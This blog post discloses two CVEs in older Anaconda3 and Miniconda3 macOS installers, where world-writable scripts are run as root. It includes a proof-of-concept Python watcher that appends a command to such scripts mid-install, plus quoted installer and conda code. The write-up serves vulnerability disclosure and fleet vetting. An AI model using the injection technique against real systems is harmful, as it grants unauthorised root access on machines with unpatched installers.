Post

A Closer Look at macOS Package Installers

World-writable scripts executed as root during Anaconda3 and Miniconda3 installs: CVE-2024-46060 and CVE-2024-46062.

There’s something slightly uncomfortable about giving an installer root and letting it unpack files and run scripts on your behalf. It gets worse when those scripts land somewhere other users can edit.

That’s exactly what I ran into with older Anaconda3 and Miniconda3 macOS installers, and it turned into two CVEs. The bug class isn’t new. Patrick Wardle’s Death by 1000 Installers talk at DEF CON 25 is still the best primer on it, and it’s still turning up years later.

TL;DR

  • A privileged .pkg install writes a script that other users can modify, then runs it as root.
  • Any low-privileged local user can append a command during the install and get root.
  • Anaconda3 before 2024.06-1 and Miniconda3 before 23.11.0-1 are affected, and both are fixed.
  • You can check any installer by expanding it with pkgutil and watching the install directory for new world-writable scripts.

How I hunted for it

I was looking for one thing: does the installer write a script that other users can modify, then run it as root? If it does, any local user can append a command before that script runs.

The installer writes a script, a low-privileged user appends to it, and the installer runs it with root privileges.

I start by expanding the package to see which scripts it runs and where it writes:

1
pkgutil --expand /path/to/suspect.pkg /tmp/expanded_pkg

That shows what ships in the package, not what gets created mid-install. To catch those files, I wrote a small Python watcher that appended a one-line Terminal launch to any new world-writable script. If a root Terminal popped up, the installer had run my change.

Lab notes: file_monitor.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# file_monitor.py

already_seen = set()
while True:
    for root, dirs, files in os.walk(install_directory):
        for name in files:
            file_path = os.path.join(root, name)

            # Scan newly created directories only
            if file_path not in already_seen and is_recently_created(file_path):
                already_seen.add(file_path)

                # Check write access
                if os.access(file_path, os.W_OK):
                    with open(file_path, "a+", encoding="utf-8", errors="ignore") as f:
                        f.seek(0)

                        # Get file type by shebang
                        if f.readline().strip().startswith(("#!/bin/sh", "#!/bin/bash", "#!/bin/zsh")):

                            # Inject command
                            f.write("\n/System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal")

What I found

Anaconda3 (CVE-2024-46060)

user_post_install.pkg wrote a world-writable script to anaconda3/pkgs/user_post_install that our file monitor detected, then ran it as root via postinstall. Anything I appended ran as root too. Checked against Anaconda3-2024.02-1-MacOSX-arm64.pkg.

Anaconda3 2024.02-1: my appended Terminal command running as root mid-install.

Anaconda fixed it in 2024.06-1 by removing the user_post_install.pkg component.

Lab notes: Anaconda user_post_install / postinstall

The script itself only opened Navigator after install:

1
2
3
4
#!/bin/bash
#!/usr/bin/bash

open "${PREFIX}/Anaconda-Navigator.app"

user_post_install.pkg’s postinstall is what ran it:

1
2
3
4
5
6
7
8
# Run user-provided script
if [ -f "$PREFIX/pkgs/user_${PRE_OR_POST}" ]; then
    notify "Running ${PRE_OR_POST} scripts..."
    chmod +x "$PREFIX/pkgs/user_${PRE_OR_POST}"
    if ! "$PREFIX/pkgs/user_${PRE_OR_POST}"; then
        echo "ERROR: could not run user-provided ${PRE_OR_POST} script!"
        exit 1
    fi

Miniconda3 (CVE-2024-46062)

Same bug class, different path. Two post-link scripts from miniconda3/pkgs/python.app-3-py310h1a28f6b_0.conda were writable during install. The installer didn’t run them itself; it handed them to the bundled conda.exe, which called run_script(). That path is by design. The issue was that I could edit those scripts first, and because a privileged installer had launched Conda, they ran as root. Checked against Miniconda3-py310_23.10.0-1-MacOSX-arm64.pkg.

Miniconda3 23.10.0-1: an injected post-link script running as root mid-install.

Fixed in Miniconda3 23.11.0-1.

Lab notes: Miniconda conda.exe / run_script

run_installation.pkg’s postinstall invoked the bundled Conda executable:

1
2
3
4
5
6
7
PREFIX="$2/miniconda3"
PREFIX=$(cd "$PREFIX"; pwd)
export PREFIX
echo "PREFIX=$PREFIX"
CONDA_EXEC="$PREFIX/conda.exe"
...
"$CONDA_EXEC" install --offline --file "$PREFIX/pkgs/env.txt" -yp "$PREFIX"

Despite the .exe extension, conda.exe was a Python executable. After decompiling it, the install logic led into conda/core/link.py and run_script(), which builds the post-link path and runs it:

1
2
3
4
5
6
7
8
9
path = join(
    prefix,
    "Scripts" if on_win else "bin",
    ".{}-{}.{}".format(
        prec.name,
        action,
        "bat" if on_win else "sh",
    ),
)
1
2
3
4
5
6
response = subprocess_call(
    command_args,
    env=env,
    path=dirname(path),
    raise_on_error=False,
)

Takeaway

If a privileged installer writes a script and runs it later, that script should be root-owned and not writable by other users. Expanding the PKG and watching one install usually tells you whether that holds. It’s a quick check worth adding when you vet software for your fleet.

References